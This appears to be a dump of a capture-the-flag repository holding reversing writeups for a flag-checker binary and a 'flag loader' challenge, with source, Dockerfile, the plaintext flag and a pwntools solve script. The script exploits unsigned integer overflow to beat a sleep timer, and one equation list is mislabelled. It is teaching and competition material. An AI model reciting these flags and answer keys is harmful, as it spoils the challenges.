Once again, deciding to name this function `permute` was done in hindsight, but if we look at the function itself (at `0x1413`) we see that its behaviour is quite simple:\n", "\n", "```C\n", "void permute(undefined *input,long root)\n", "{\n", " *input = *(undefined *)(root + 0x2730);\n", " input[1] = *(undefined *)(root + 0x5b00);\n", " input[2] = *(undefined *)(root + 0x370);\n", " input[3] = *(undefined *)(root + 0x6f0);\n", " input[4] = *(undefined *)(root + 0x3120);\n", " input[5] = *(undefined *)(root + 0x3370);\n", " input[6] = *(undefined *)(root + 0x32d0);\n", " input[7] = *(undefined *)(root + 0x57b0);\n", " input[8] = *(undefined *)(root + 0x2ea0);\n", " input[9] = *(undefined *)(root + 0x1750);\n", " input[10] = *(undefined *)(root + 0x440);\n", " input[0xb] = *(undefined *)(root + 0x5b0);\n", " input[0xc] = *(undefined *)(root + 0x4b90);\n", " input[0xd] = *(undefined *)(root + 0x310);\n", " input[0xe] = *(undefined *)(root + 0x2f10);\n", " input[0xf] = *(undefined *)(root + 0x4ac0);\n", " input[0x10] = *(undefined *)(root + 0x1bf0);\n", " input[0x11] = *(undefined *)(root + 0x3690);\n", " input[0x12] = *(undefined *)(root + 0x1580);\n", " input[0x13] = *(undefined *)(root + 0x1620);\n", " input[0x14] = *(undefined *)(root + 0x4480);\n", " input[0x15] = *(undefined *)(root + 0x3520);\n", " input[0x16] = *(undefined *)(root + 0x1840);\n", " input[0x17] = *(undefined *)(root + 0x1e20);\n", " input[0x18] = *(undefined *)(root + 0x1330);\n", " input[0x19] = *(undefined *)(root + 0x48d0);\n", " input[0x1a] = *(undefined *)(root + 0x1d40);\n", " input[0x1b] = *(undefined *)(root + 0x3930);\n", " input[0x1c] = *(undefined *)(root + 0x2fb0);\n", " input[0x1d] = *(undefined *)(root + 0x27b0);\n", " input[0x1e] = *(undefined *)(root + 0x5b80);\n", " input[0x1f] = *(undefined *)(root + 0x2f30);\n", " input[0x20] = *(undefined *)(root + 8000);\n", " input[0x21] = *(undefined *)(root + 0x4b00);\n", " input[0x22] = *(undefined *)(root + 0x3650);\n", " input[0x23] = *(undefined *)(root + 0x2ef0);\n", " return;\n", "}\n", "```\n", "\n", "It modifies every character of our input by replacing it with some fixed offset from the root node via an out of bounds access. Since the leaves in the tree structure contain values taken from the input, we may presuppose that this function replaces the input characters with other input characters (and furthermore that it indeed is a permutation, otherwise it may not be invertible and the challenge may not be solvable).\n", "\n", "## Flag Check\n", "\n", "After 16 rounds of mixing and permuting, the transformed input is compared to the hardcoded byte string\n", "\n", "```\n", "0f4f733c41c6a4afb441d665c899aab36c99613c4edd704615663c1b7f16a66f2313126e\n", "```\n", "\n", "which can be easily extracted from the binary. The goal is to find an input that, when transformed, is equal to this string.\n", "\n", "# Solution\n", "\n", "Since the input is mixed before being permuted, when reversing the operations we need to perform the inverse permutation first, and then the inverse mix. So we'll start by analysing the permutation even further and seeing how it can be inverted.\n", "\n", "## Permutation Step\n", "\n", "To figure out exactly where the permutation sends inputs to, we need to analyse the values contained in the leaves of the tree and their offset from the root node. Since the randomness is seeded at the start of the tree generation, the permutation step is the same every time (in the sense that it sends the same positions to the same different positions every time it is called). Because of this, dynamic analysis is an easy and viable step to figuring out what the permutation is exactly. To make it easier to read, we can send an input of 36 unique characters, then skip over the `mix` function (using a debugger) and then inspect the input just after the `permute` function returns and note how the characters have shuffled around. Doing so, we see that the permutation looks something like this:\n", "\n", "![permutation.png](./assets/permutation.png)\n", "\n", "As an alternative to dynamic analysis, we could try to reimplement the tree generation logic and compute the values at the given hardcoded offsets to determine the permutation.\n", "\n", "Computing the inverse of a permutation is easy; in the above image we see that `m[0]` is mapped to `m[23]` and `m[1]` is mapped to `m[16]`. To go the other way, we would simply map `m[23]` to `m[0]` and `m[16]` to `m[1]`.\n", "\n", "## Mixing Step\n", "\n", "The core function `m` of the mix step is a very special one. In fact, if you paste the implementation in Google you might find some useful information about it. The implementation is repeated here for convenience (a slightly cleaned up version):\n", "\n", "```C\n", "byte m(byte b) {\n", " return (b << 1) ^ (((b >> 7) & 1) * 0x1b);\n", "}\n", "```\n", "\n", "It is possible to note that the mixing functions have a cyclic nature (whatever that means) and that the inverse can be found by playing with the bits and performing XORs and applying `m` similarly to how it is done in the binary (except changing the number of times it is done). There is another elegant solution however which uses some theory of [finite fields](https://en.wikipedia.org/wiki/Finite_field) (which is _basically_ just a finite set of numbers, nothing to be scared of!).\n", "\n", "The key thing is to notice that `m` is equivalent to a multiplication in $K = GF(2)[\\alpha]/(\\alpha^8 + \\alpha^4 + \\alpha^3 + 1) \\cong GF(2^8)$. There are exactly 256 elements in the finite field $K$. These elements are $0, 1, \\alpha, 1 + \\alpha, \\ldots$. In general, an element in $K$ is of the form:\n", "\n", "$$\n", "b_0 + b_1 \\alpha + b_2 \\alpha^2 + \\cdots + b_7 \\alpha^7\n", "$$\n", "\n", "where $b_i$ is either $0$ or $1$. You might notice there is a very close resemblance between this representation and the representation of bytes as binary digits. Indeed, there is a very natural mapping between elements in $K$ and bytes (integers from 0 to 255) which is exactly that; the above element would represent the integer whose least significant bit is $b_0$ and whose most significant bit is $b_7$. Because it is a lot easier to write integers as opposed to polynomials in $\\alpha$, we write integers for convenience (but we understand that they are elements of $K$).\n", "\n", "As we will now see, the implementation of `m` is equivalent to multiplication by $\\alpha$ (which is $2$ when represented as an integer). Let\n", "\n", "$$\n", "b = b_0 + b_1 \\alpha + b_2 \\alpha^2 + \\cdots + b_7 \\alpha^7\n", "$$\n", "\n", "Then,\n", "\n", "$$\n", "\\begin{aligned}\n", " \\alpha b &= \\alpha (b_0 + b_1 \\alpha + \\cdots + b_7 \\alpha^7) \\\\\n", " &= b_0 \\alpha + b_1 \\alpha^2 + \\cdots + b_7 \\alpha^8 \\\\\n", " &= b_0 \\alpha + b_1 \\alpha^2 + \\cdots + b_7 (\\alpha^4 + \\alpha^3 + \\alpha + 1) \\\\\n", " &= b_7 + (b_0 + b_7) \\alpha + b_1 \\alpha^2 + (b_2 + b_7) \\alpha^3 + (b_3 + b_7) \\alpha^4 + b_4 \\alpha^5 + b_5 \\alpha^6 + b_6 \\alpha^7\n", "\\end{aligned}\n", "$$\n", "\n", "Comparing this with the implementation of `m`:\n", "\n", "```C\n", "byte m(byte b) {\n", " return (b << 1) ^ (((b >> 7) & 1) * 0x1b);\n", "}\n", "```\n", "\n", "(noting that `0x1b = 0b00011011`) we see that the `(b << 1)` part is equivalent to shifting all of the $b_i$ up by one so that $b_0$ is multiplied with $\\alpha$, and $b_1$ with $\\alpha^2$, etc. And the `((b >> 7) & 1) * 0x1b` part is equivalent to the modulo reduction which adds $b_7$ (the most significant bit) as coefficients of $1, \\alpha, \\alpha^3$ and $\\alpha^4$.\n", "\n", "Furthermore, addition of elements in $K$ is equivalent to XORing their integer representations, so with these, we can express the mix step entirely in terms of operations in $K$.\n", "\n", "The decompilation output is annoying to read (although all the necessary information is there), so for ease of explaining, we present the source for the `mix_column` function that operates on the input and an array of six integers:\n", "\n", "```C\n", "void mix_column(unsigned char* input, int idxs[]) {\n", " unsigned char b0, b1, b2, b3, b4, b5;\n", " unsigned char d0, d1, d2, d3, d4, d5;\n", " b0 = input[idxs[0]];\n", " b1 = input[idxs[1]];\n", " b2 = input[idxs[2]];\n", " b3 = input[idxs[3]];\n", " b4 = input[idxs[4]];\n", " b5 = input[idxs[5]];\n", " d0 = b0 ^ m2(b0) ^ b2 ^ m2(b2) ^ (m2(b4));\n", " d1 = b1 ^ m2(b1) ^ b3 ^ m2(b3) ^ (m2(b5));\n", " d2 = m2(b0) ^ b4;\n", " d3 = m2(b1) ^ b5;\n", " d4 = b0 ^ m2(b0) ^ m2(b2);\n", " d5 = b1 ^ m2(b1) ^ m2(b3);\n", " input[idxs[0]] = d0;\n", " input[idxs[1]] = d1;\n", " input[idxs[2]] = d2;\n", " input[idxs[3]] = d3;\n", " input[idxs[4]] = d4;\n", " input[idxs[5]] = d5;\n", "}\n", "```\n", "\n", "The $b_i$ are the input values (characters taken from `input` given by the specified `idxs`) and the $d_i$ are the corresponding outputs which replace the inputs after they have been computed. We have:\n", "\n", "$$\n", "\\begin{aligned}\n", " d_0 &= 3 b_0 + 3 b_2 + 2 b_4 \\\\\n", " d_1 &= 3 b_1 + 3 b_3 + 2 b_5 \\\\\n", " d_2 &= 2 b_0 + b_4 \\\\\n", " d_4 &= 2 b_1 + b_5 \\\\\n", " d_5 &= 3 b_0 + 2 b_2 \\\\\n", " d_6 &= 3 b_1 + 2 b_3\n", "\\end{aligned}\n", "$$\n", "\n", "Recall that our goal is to invert this operation; that is, take the $d_i$ and return back the $b_i$. If we represent this system of equations as a matrix multiplication, it becomes clear how to do that:\n", "\n", "$$\n", "\\begin{bmatrix}\n", "d_0 \\\\ d_1 \\\\ d _2 \\\\ d_3 \\\\ d_4 \\\\ d_5\n", "\\end{bmatrix}\n", "=\n", "\\begin{bmatrix}\n", " 3 & 0 & 3 & 0 & 2 & 0 \\\\\n", " 0 & 3 & 0 & 3 & 0 & 2 \\\\\n", " 2 & 0 & 0 & 0 & 1 & 0 \\\\\n", " 0 & 2 & 0 & 0 & 0 & 1 \\\\\n", " 3 & 0 & 2 & 0 & 0 & 0 \\\\\n", " 0 & 3 & 0 & 2 & 0 & 0 \\\\\n", "\\end{bmatrix}\n", "\\begin{bmatrix}\n", "b_0 \\\\ b_1 \\\\ b _2 \\\\ b_3 \\\\ b_4 \\\\ b_5\n", "\\end{bmatrix}\n", "$$\n", "\n", "So to go from the $d_i$ to the $b_i$, we simply multiply by the inverse of this matrix:\n", "\n", "$$\n", "\\begin{bmatrix}\n", "b_0 \\\\ b_1 \\\\ b_2 \\\\ b_3 \\\\ b_4 \\\\ b_5\n", "\\end{bmatrix}\n", "=\n", "\\begin{bmatrix}\n", " 3 & 0 & 3 & 0 & 2 & 0 \\\\\n", " 0 & 3 & 0 & 3 & 0 & 2 \\\\\n", " 2 & 0 & 0 & 0 & 1 & 0 \\\\\n", " 0 & 2 & 0 & 0 & 0 & 1 \\\\\n", " 3 & 0 & 2 & 0 & 0 & 0 \\\\\n", " 0 & 3 & 0 & 2 & 0 & 0 \\\\\n", "\\end{bmatrix}^{-1}\n", "\\begin{bmatrix}\n", "d_0 \\\\ d_1 \\\\ d_2 \\\\ d_3 \\\\ d_4 \\\\ d_5\n", "\\end{bmatrix}\n", "$$\n", "\n", "The last thing to figure out is which input characters are being used as the $b_i$ in each call to `mix_column`. This is specified by the `ci` integer arrays in `mix` function as discussed before. Pictorially, the grouping looks like this:\n", "\n", "![mix-grouping.png](./assets/mix-grouping.png)\n", "\n", "## Inverting the Output\n", "\n", "To recover the correct input, we simply run the hardcoded check value through 16 rounds of inverse permutations and inverse mixing steps. At the end, we should find the flag :)\n", "\n" ] }, { "cell_type": "code", "execution_count": null, "id": "182608e0", "metadata": {}, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "Python 3 (ipykernel)", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.9.6" } }, "nbformat": 4, "nbformat_minor": 5 } ================================================ FILE: rev/flag-checker/solve/writeup.md ================================================ # Challenge Overview We are given a typical flag checker binary which prompts us for the flag and prints whether or not our guess is correct. The binary is stripped, but there are not many functions and it is relatively easy to identify the core functions. The main function looks like this (cleaned up, and other functions named appropriately - we'll get to those later): ```C void main(void) { size_t input_length; undefined8 tree; long in_FS_OFFSET; int i; int j; char input [40]; undefined8 uStack16; uStack16 = *(undefined8 *)(in_FS_OFFSET + 0x28); init(); printf("What\'s the flag?: "); fgets(input,0x25,stdin); input_length = strlen(input); if (input_length != 0x24) { die(); } for (i = 0; i < 0x10; i = i + 1) { mix(input); tree = generate_tree(input); permute(input,tree); } for (j = 0; j < 0x24; j = j + 1) { if (input[j] != (&FINAL)[j]) { die(); } } puts("Correct! :)"); /* WARNING: Subroutine does not return */ exit(0); } ``` We see that the flag should be of length 36, and that it is passed through some functions 16 times before being compared to a fixed hardcoded value. This for loop is where all the transformations seem to happen: ```C for (i = 0; i < 0x10; i = i + 1) { mix(input); tree = generate_tree(input); permute(input,tree); } ``` We'll go through each of these functions. ## Mixing Step The function at `0x19fa` (which we named `mix`) defines six different arrays containing six integers as follows: ```C int c0[6] = {0, 1, 2, 6, 12, 18}; int c1[6] = {3, 4, 5, 11, 17, 23}; int c2[6] = {7, 8, 9, 13, 14, 15}; int c3[6] = {10, 16, 22, 28, 29, 35}; int c4[6] = {19, 20, 24, 25, 26, 30}; int c5[6] = {21, 27, 31, 32, 33, 34}; ``` and then calls another function, at `0x17f0` (which we will call `mix_column`) six times, each with the input and one of the above int arrays: ```C mix_column(input,c0); mix_column(input,c1); mix_column(input,c2); mix_column(input,c3); mix_column(input,c4); mix_column(input,c5); ``` The `mix_column` function itself makes extensive use of another function at `0x17c3` (which we will just call `m`) that performs some simple bit operations on its input: ```C uint m(byte param_1) { return (uint)(param_1 >> 7) * 0x1b ^ (uint)param_1 * 2; } ``` Back to the `mix` function, we see that it modifies the input in-place with the index being decided by the second argument (the array of six integers). We can notice that all of the integers defined in `c0`, `c1`, ..., `c5` cover all the integers from `0` to `35`, so it seems like this function simply transforms these "chunks" of the input independently. The modified value itself is calculated as the XOR sum of some combination of the original inputs and `m` applied to the original inputs. ## Tree Generation The function at `0x1232` (which we named `generate_tree`) allocates a bunch of memory and randomly populates it with data based on the input. We can see that a custom rand function is being used which is just a simple LCG, and it is seeded at the start of the `generate_tree` function, so since this function doesn't use any other global variables, it should be deterministic and always output the same value for a given input. Obviously, we don't have function names so appropriately naming this function `generate_tree` was done in hindsight. But we can gather some information that leads us to this conclusion about the function by looking at what it actually does. For a rough overview; it allocates a large chunk (an array) of memory and another chunk of size 16, setting the first entry of the array to this size 16 value. It then iterates for 256 iterations taking the "current" entry `n` and randomly choosing a number `r` between 0 and 4 and making `r` further allocations of size 16, adding these new values to `n` (specifuically, the latter 8 bytes of `n` which seems to be an array by its usage) as well as the array. Then, it loops through every non-null entry in the array and assigns the first 8 bytes a random element of the input. Conceptually, the data structure looks something like this: ![tree.png](./assets/tree.png) ## Permutation Step The final function called in the main loop is the `permute` function which takes as arguments the (current transformed) input, and the root node of the tree generated in the tree generation step. Presumably, this function will transform the input in some way based on the tree structure. Once again, deciding to name this function `permute` was done in hindsight, but if we look at the function itself (at `0x1413`) we see that its behaviour is quite simple: ```C void permute(undefined *input,long root) { *input = *(undefined *)(root + 0x2730); input[1] = *(undefined *)(root + 0x5b00); input[2] = *(undefined *)(root + 0x370); input[3] = *(undefined *)(root + 0x6f0); input[4] = *(undefined *)(root + 0x3120); input[5] = *(undefined *)(root + 0x3370); input[6] = *(undefined *)(root + 0x32d0); input[7] = *(undefined *)(root + 0x57b0); input[8] = *(undefined *)(root + 0x2ea0); input[9] = *(undefined *)(root + 0x1750); input[10] = *(undefined *)(root + 0x440); input[0xb] = *(undefined *)(root + 0x5b0); input[0xc] = *(undefined *)(root + 0x4b90); input[0xd] = *(undefined *)(root + 0x310); input[0xe] = *(undefined *)(root + 0x2f10); input[0xf] = *(undefined *)(root + 0x4ac0); input[0x10] = *(undefined *)(root + 0x1bf0); input[0x11] = *(undefined *)(root + 0x3690); input[0x12] = *(undefined *)(root + 0x1580); input[0x13] = *(undefined *)(root + 0x1620); input[0x14] = *(undefined *)(root + 0x4480); input[0x15] = *(undefined *)(root + 0x3520); input[0x16] = *(undefined *)(root + 0x1840); input[0x17] = *(undefined *)(root + 0x1e20); input[0x18] = *(undefined *)(root + 0x1330); input[0x19] = *(undefined *)(root + 0x48d0); input[0x1a] = *(undefined *)(root + 0x1d40); input[0x1b] = *(undefined *)(root + 0x3930); input[0x1c] = *(undefined *)(root + 0x2fb0); input[0x1d] = *(undefined *)(root + 0x27b0); input[0x1e] = *(undefined *)(root + 0x5b80); input[0x1f] = *(undefined *)(root + 0x2f30); input[0x20] = *(undefined *)(root + 8000); input[0x21] = *(undefined *)(root + 0x4b00); input[0x22] = *(undefined *)(root + 0x3650); input[0x23] = *(undefined *)(root + 0x2ef0); return; } ``` It modifies every character of our input by replacing it with some fixed offset from the root node via an out of bounds access. Since the leaves in the tree structure contain values taken from the input, we may presuppose that this function replaces the input characters with other input characters (and furthermore that it indeed is a permutation, otherwise it may not be invertible and the challenge may not be solvable). ## Flag Check After 16 rounds of mixing and permuting, the transformed input is compared to the hardcoded byte string ``` 0f4f733c41c6a4afb441d665c899aab36c99613c4edd704615663c1b7f16a66f2313126e ``` which can be easily extracted from the binary. The goal is to find an input that, when transformed, is equal to this string. # Solution Since the input is mixed before being permuted, when reversing the operations we need to perform the inverse permutation first, and then the inverse mix. So we'll start by analysing the permutation even further and seeing how it can be inverted. ## Permutation Step To figure out exactly where the permutation sends inputs to, we need to analyse the values contained in the leaves of the tree and their offset from the root node. Since the randomness is seeded at the start of the tree generation, the permutation step is the same every time (in the sense that it sends the same positions to the same different positions every time it is called). Because of this, dynamic analysis is an easy and viable step to figuring out what the permutation is exactly. To make it easier to read, we can send an input of 36 unique characters, then skip over the `mix` function (using a debugger) and then inspect the input just after the `permute` function returns and note how the characters have shuffled around. Doing so, we see that the permutation looks something like this: ![permutation.png](./assets/permutation.png) As an alternative to dynamic analysis, we could try to reimplement the tree generation logic and compute the values at the given hardcoded offsets to determine the permutation. Computing the inverse of a permutation is easy; in the above image we see that `m[0]` is mapped to `m[23]` and `m[1]` is mapped to `m[16]`. To go the other way, we would simply map `m[23]` to `m[0]` and `m[16]` to `m[1]`. ## Mixing Step The core function `m` of the mix step is a very special one. In fact, if you paste the implementation in Google you might find some useful information about it. The implementation is repeated here for convenience (a slightly cleaned up version): ```C byte m(byte b) { return (b << 1) ^ (((b >> 7) & 1) * 0x1b); } ``` It is possible to note that the mixing functions have a cyclic nature (whatever that means) and that the inverse can be found by playing with the bits and performing XORs and applying `m` similarly to how it is done in the binary (except changing the number of times it is done). There is another elegant solution however which uses some theory of [finite fields](https://en.wikipedia.org/wiki/Finite_field) (which is _basically_ just a finite set of numbers, nothing to be scared of!). The key thing is to notice that `m` is equivalent to a multiplication in $K = GF(2)[\alpha]/(\alpha^8 + \alpha^4 + \alpha^3 + 1) \cong GF(2^8)$. There are exactly 256 elements in the finite field $K$. These elements are $0, 1, \alpha, 1 + \alpha, \ldots$. In general, an element in $K$ is of the form: $$ b_0 + b_1 \alpha + b_2 \alpha^2 + \cdots + b_7 \alpha^7 $$ where $b_i$ is either $0$ or $1$. You might notice there is a very close resemblance between this representation and the representation of bytes as binary digits. Indeed, there is a very natural mapping between elements in $K$ and bytes (integers from 0 to 255) which is exactly that; the above element would represent the integer whose least significant bit is $b_0$ and whose most significant bit is $b_7$. Because it is a lot easier to write integers as opposed to polynomials in $\alpha$, we write integers for convenience (but we understand that they are elements of $K$). As we will now see, the implementation of `m` is equivalent to multiplication by $\alpha$ (which is $2$ when represented as an integer). Let $$ b = b_0 + b_1 \alpha + b_2 \alpha^2 + \cdots + b_7 \alpha^7 $$ Then, $$ \begin{aligned} \alpha b &= \alpha (b_0 + b_1 \alpha + \cdots + b_7 \alpha^7) \\ &= b_0 \alpha + b_1 \alpha^2 + \cdots + b_7 \alpha^8 \\ &= b_0 \alpha + b_1 \alpha^2 + \cdots + b_7 (\alpha^4 + \alpha^3 + \alpha + 1) \\ &= b_7 + (b_0 + b_7) \alpha + b_1 \alpha^2 + (b_2 + b_7) \alpha^3 + (b_3 + b_7) \alpha^4 + b_4 \alpha^5 + b_5 \alpha^6 + b_6 \alpha^7 \end{aligned} $$ Comparing this with the implementation of `m`: ```C byte m(byte b) { return (b << 1) ^ (((b >> 7) & 1) * 0x1b); } ``` (noting that `0x1b = 0b00011011`) we see that the `(b << 1)` part is equivalent to shifting all of the $b_i$ up by one so that $b_0$ is multiplied with $\alpha$, and $b_1$ with $\alpha^2$, etc. And the `((b >> 7) & 1) * 0x1b` part is equivalent to the modulo reduction which adds $b_7$ (the most significant bit) as coefficients of $1, \alpha, \alpha^3$ and $\alpha^4$. Furthermore, addition of elements in $K$ is equivalent to XORing their integer representations, so with these, we can express the mix step entirely in terms of operations in $K$. The decompilation output is annoying to read (although all the necessary information is there), so for ease of explaining, we present the source for the `mix_column` function that operates on the input and an array of six integers: ```C void mix_column(unsigned char* input, int idxs[]) { unsigned char b0, b1, b2, b3, b4, b5; unsigned char d0, d1, d2, d3, d4, d5; b0 = input[idxs[0]]; b1 = input[idxs[1]]; b2 = input[idxs[2]]; b3 = input[idxs[3]]; b4 = input[idxs[4]]; b5 = input[idxs[5]]; d0 = b0 ^ m2(b0) ^ b2 ^ m2(b2) ^ (m2(b4)); d1 = b1 ^ m2(b1) ^ b3 ^ m2(b3) ^ (m2(b5)); d2 = m2(b0) ^ b4; d3 = m2(b1) ^ b5; d4 = b0 ^ m2(b0) ^ m2(b2); d5 = b1 ^ m2(b1) ^ m2(b3); input[idxs[0]] = d0; input[idxs[1]] = d1; input[idxs[2]] = d2; input[idxs[3]] = d3; input[idxs[4]] = d4; input[idxs[5]] = d5; } ``` The $b_i$ are the input values (characters taken from `input` given by the specified `idxs`) and the $d_i$ are the corresponding outputs which replace the inputs after they have been computed. We have: $$ \begin{aligned} d_0 &= 3 b_0 + 3 b_2 + 2 b_4 \\ d_1 &= 3 b_1 + 3 b_3 + 2 b_5 \\ d_2 &= 2 b_0 + b_4 \\ d_4 &= 2 b_1 + b_5 \\ d_5 &= 3 b_0 + 2 b_2 \\ d_6 &= 3 b_1 + 2 b_3 \end{aligned} $$ Recall that our goal is to invert this operation; that is, take the $d_i$ and return back the $b_i$. If we represent this system of equations as a matrix multiplication, it becomes clear how to do that: $$ \begin{bmatrix} d_0 \\ d_1 \\ d _2 \\ d_3 \\ d_4 \\ d_5 \end{bmatrix} = \begin{bmatrix} 3 & 0 & 3 & 0 & 2 & 0 \\ 0 & 3 & 0 & 3 & 0 & 2 \\ 2 & 0 & 0 & 0 & 1 & 0 \\ 0 & 2 & 0 & 0 & 0 & 1 \\ 3 & 0 & 2 & 0 & 0 & 0 \\ 0 & 3 & 0 & 2 & 0 & 0 \\ \end{bmatrix} \begin{bmatrix} b_0 \\ b_1 \\ b _2 \\ b_3 \\ b_4 \\ b_5 \end{bmatrix} $$ So to go from the $d_i$ to the $b_i$, we simply multiply by the inverse of this matrix: $$ \begin{bmatrix} b_0 \\ b_1 \\ b_2 \\ b_3 \\ b_4 \\ b_5 \end{bmatrix} = \begin{bmatrix} 3 & 0 & 3 & 0 & 2 & 0 \\ 0 & 3 & 0 & 3 & 0 & 2 \\ 2 & 0 & 0 & 0 & 1 & 0 \\ 0 & 2 & 0 & 0 & 0 & 1 \\ 3 & 0 & 2 & 0 & 0 & 0 \\ 0 & 3 & 0 & 2 & 0 & 0 \\ \end{bmatrix}^{-1} \begin{bmatrix} d_0 \\ d_1 \\ d_2 \\ d_3 \\ d_4 \\ d_5 \end{bmatrix} $$ The last thing to figure out is which input characters are being used as the $b_i$ in each call to `mix_column`. This is specified by the `ci` integer arrays in `mix` function as discussed before. Pictorially, the grouping looks like this: ![mix-grouping.png](./assets/mix-grouping.png) ## Inverting the Output To recover the correct input, we simply run the hardcoded check value through 16 rounds of inverse permutations and inverse mixing steps. At the end, we should find the flag :) ================================================ FILE: rev/flag-loader/Dockerfile ================================================ FROM ghcr.io/downunderctf/docker-vendor/nsjail:ubuntu-18.04 COPY ./challenge/flag.txt /home/ctf/chal/ COPY ./challenge/flag_loader /home/ctf/chal/pwn ================================================ FILE: rev/flag-loader/README.md ================================================ # flag loader **Category:** reversing **Difficulty:** easy **Author:** joseph#8210 What more could you ask for than a program that loads the flag for you? Just answer a few simple questions and the flag is yours! ` ` **Attached files:** - ./challenge/flag_loader (sha256: de8f47b8ad8b8efac5c41575757906f4c211282eccadc693a6a595ac784a7593) ================================================ FILE: rev/flag-loader/challenge/flag.txt ================================================ DUCTF{y0u_sur3_kn0w_y0ur_int3gr4l_d4t4_typ3s!} ================================================ FILE: rev/flag-loader/challenge/flag_loader.c ================================================ #include #include #include #include #include void sig_handler() { puts("I don't have all day... No flag for you :("); exit(-1); } void init() { setvbuf(stdout, 0, 2, 0); setvbuf(stdin, 0, 2, 0); signal(SIGALRM, sig_handler); alarm(60); srand(time(NULL) * getpid()); } void die() { puts("You failed the check! No flag for you :("); exit(-1); } unsigned char X[5] = { 0x44, 0x55, 0x43, 0x54, 0x46 }; unsigned int check1() { char s[6]; unsigned char t1 = 0; unsigned char t2 = 1; printf("Give me five letters: "); read(0, s, 5); for(int i = 0; i < 5; i++) { t1 += X[i] ^ s[i]; t2 *= s[i] * (i+1); } if(t1 != 0 || t2 == 0) { die(); } return t2; } unsigned int check2() { unsigned int x, y; int r = rand() & 0xffff; printf("Solve this: x + y = %d\n", r); scanf("%u %u", &x, &y); if(x == 0 || y == 0 || x <= r || y <= r) { die(); } if(x + y != r || ((x*y) & 0xffff) < 60) { die(); } return (x*y) & 0xffff; } unsigned int check3() { unsigned int x1, x2, x3, x4, x5; int r = rand() & 0xffff; printf("Now solve this: x1 + x2 + x3 + x4 + x5 = %d\n", r); scanf("%u %u %u %u %u", &x1, &x2, &x3, &x4, &x5); if(x1 == 0 || x2 == 0 || x3 == 0 || x4 == 0 || x5 == 0) { die(); } if(!(x1 < x2) || !(x2 < x3) || !(x3 < x4) || !(x4 < x5)) { die(); } if(x1 + x2 + x3 + x4 + x5 != r || (((x3 - x2)*(x5 - x4)) & 0xffff) < 60) { die(); } return ((x3 - x2)*(x5 - x4)) & 0xffff; } int main() { init(); unsigned int x1, x2, x3; x1 = check1(); x2 = check2(); x3 = check3(); puts("You've passed all the checks! Please be patient as the flag loads."); puts("Loading flag... (this may or may not take a while)"); sleep(x1 * x2 * x3); FILE* fp = fopen("flag.txt", "r"); char flag[255]; fgets(flag, 255, fp); printf("%s", flag); return 0; } ================================================ FILE: rev/flag-loader/challenge.yml ================================================ version: "0.1" id: flag-loader name: flag loader category: reversing description: > What more could you ask for than a program that loads the flag for you? Just answer a few simple questions and the flag is yours! Author: joseph#8210 connection_info: nc ${host} ${port} tags: - easy files: - ./challenge/flag_loader flags: - DUCTF{y0u_sur3_kn0w_y0ur_int3gr4l_d4t4_typ3s!} ================================================ FILE: rev/flag-loader/solve/solve.py ================================================ from pwn import * from parse import parse conn = remote('0.0.0.0', 1337) # check 1 X = b'DUCTF' S = b'\x02\x01\x01\x01\x89' z1 = sum(s*(i+1) for i, s in enumerate(S)) % 256 assert sum([x^s for x, s in zip(X ,S)]) % 256 == 0 assert z1 % 2**3 == 0 conn.sendlineafter(': ', S) # check 2 r1 = parse('Solve this: x + y = {:d}\n', conn.recvline().decode())[0] for v in range(16): if r1 % 2**(v+1) != 0: break k = 15 - v x = r1 + 2**k y = 2**32 - 2**k z2 = (x*y) & 0xffff assert z2 == 2**15 conn.sendline(f'{x} {y}') # check 3 r2 = parse('Now solve this: x1 + x2 + x3 + x4 + x5 = {:d}\n', conn.recvline().decode())[0] x1 = 2 - (r2 & 1) x2 = 3 x3 = 2**7 + x2 x4 = (r2 - x1 - 2*x2 - 2**7 - 2**8)//2 x5 = 2**8 + x4 z3 = (x3 - x2)*(x5 - x4) % 2**16 assert x1 + x2 + x3 + x4 + x5 == r2 assert z3 % 2**14 == 0 conn.sendline(f'{x1} {x2} {x3} {x4} {x5}') assert z1*z2*z3 % 2**32 == 0 print(conn.recvline().decode()) print(conn.recvline().decode()) print(conn.recvline().decode()) ================================================ FILE: rev/flag-loader/solve/writeup.md ================================================ # Challenge Overview Ghidra decompilation of the binary is very easy to read. We see that there are three "checks" that each return a value. Once all three checks are passed, their outputs `x1`, `x2` and `x3` are used to call `sleep(x1 * x2 * x3)`. There is a timeout of 60 seconds, so task is to pass all three checks while also making sure this sleep call does not take longer than 60 seconds. The return values of each check are all `unsigned int`s. ## Check 1 In this check, we are prompted for five characters of input. A variable `t1` is computed as the sum of `X[i] ^ input[i]` (for `i = 0, ..., 4`) where `X` is a hardcoded byte string in the binary (`X = b'DUCTF'`). Another variable `t2` is computed as the product `input[i] * (i+1)` (for `i = 0, ..., 4`). To pass the check, we need `t1` to be zero, and `t2` to be nonzero. The returned value is `t2`. ## Check 2 In this check, we are prompted to solve a simple equation. Given a number `r`, we are asked to provide `x` and `y` such that `x + y == r`. To pass the check, neither `x` nor `y` can be less than `r`. We also need `x + y` to actually equal `r` and `x*y & 0xffff` must be greater than `60`. The returned value is `x*y & 0xffff`. ## Check 3 In this check, we are prompted to solve another kind of equation. Given a number `r`, we are asked to provide `x1, x2, x3, x4, x5` such that `x1 + x2 + x3 + x4 + x5 == r`. To pass the check, none of the inputs can be `0` and they must be strictly increasing (i.e. `x1 < x2 < x3 < x4 < x5`). Additionally, `(x3 - x2)*(x5 - x4) & 0xffff` must be greater than `60`. The returned value is `(x3 - x2)*(x5 - x4) & 0xffff`. ## Loading the Flag If we manage to pass all the checks, the outputs of each check (`x1`, `x2`, `x3`) are combined and `sleep(x1 * x2 * x3)` is called. Because there is a timeout of 60 seconds, it is impossible to get the flag if `x1 * x2 * x3 > 60`. # Solution At first the challenge may seem impossible since the return values of each checks can never be zero, and for checks 2 and 3, they are guaranteed to be larger than 60. Fortunately, we have quite a lot of freedom on our inputs. Checking the `man` page for `sleep` we see that the argument is an `unsigned int` which takes on values between `0` and `2^32`. If we can choose our inputs such that the product of the return values of all the check functions are very slightly above a multiple of `2^32` (or even better, a multiple of `2^32`), then we will be able to get past the annoying `sleep`. So the goal for now is to get the outputs to have as many factors of `2` as possible. We will see in detail how to do this for each check. ## Check 1 For this check, sending anything that will pass the `t1 == 0` check will be useful, because the way that `t2` is calculated means that it will always have a factor of `2^3` at least. A valid input is 